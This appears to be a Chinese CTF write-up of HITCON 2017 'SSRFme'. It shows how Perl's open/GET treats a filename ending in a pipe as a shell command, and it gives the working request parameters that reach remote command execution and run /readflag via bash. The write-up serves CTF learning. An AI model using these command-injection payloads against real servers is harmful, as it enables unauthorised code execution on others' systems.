[HITCON 2017]SSRFme perl语言的 GET open file 造成rce

这里记录学习一下 perl的open缺陷

这里首先本地测试一下

发现这里使用open打开 的时候 如果通过管道符 就会实现命令执行

然后这里注意的是 perl 中的get 调用了 open的参数 所以其实我们可以通过管道符实现命令执行

然后这里如果file可控那么就继续可以实现命令执行

这里就是 open支持file协议

file协议加上| 可以将文件名 作为shell输出

复制代码
touch 'id|'

GET 'file:id|'

类似这种

然后我们可以开始做这个题目

复制代码
    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));

这里是内容 我们输入通过GET url 可以实现写入一个文件

这里考的其实就是

我们通过filename生成一个shell文件(名字为shell)

然后通过(GET filename)这种形式实现命令执行 然后再写入一个文件

这里可能比较抽象 我们来本地测试一下

这里我们首先可以通过

复制代码
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);

这种确定是perl语言

然后

我们首先传入

复制代码
url=123&filename=ls|   //目的创建一个shell名字的文件


然后

url=file:ls|&filename=1.txt  // 通过file协议和| 让ls不做为文件名 而变为shell

首先了命令执行

然后

这里可以发现是一个二进制文件 无法获取flag 我们通过 bash开启操作即可

复制代码
?url=123|&filename=bash -c /readflag|

/?url=file:bash -c /readflag|&filename=1.txt

然后我们就获取到了flag 这里或者可以通过反弹shell实现 但是麻烦了

相关推荐
秋912 分钟前
java项目中cpu飙升排查及解决方法
java·开发语言
野生技术架构师13 分钟前
牛客网2026最新大厂Java高频面试题精选(附标准答案)
java·开发语言
PH = 716 分钟前
JAVA的SPI机制
java·开发语言
IT猿手28 分钟前
多目标优化算法:多目标蛇优化算法(Multiple Objective Snake Optimizer,MOSO)(提供MATLAB代码)
开发语言·算法·matlab·动态路径规划·光伏模型参数估计
朔北之忘 Clancy34 分钟前
2026 年 3 月青少年软编等考 C/C++ 一级真题解析
c语言·开发语言·c++·青少年编程·题解·考级
小成202303202651 小时前
C++~01面向对象基础
开发语言·c++
会编程的土豆1 小时前
Go 方法接收者超清晰笔记(类型名 vs 变量名)
开发语言·笔记·golang
YY&DS1 小时前
Qt 嵌入 CEF 在 Linux 下必须设置 `QT_XCB_GL_INTEGRATION=xcb_egl才能加载网页
linux·开发语言·qt
csdn_aspnet1 小时前
javascript 算法 LeetCode 编号 70 - 爬楼梯
开发语言·javascript·算法·leetcode·ecmascript
han_hanker2 小时前
BeanUtils.copyProperties 和序列化的问题
java·开发语言·spring boot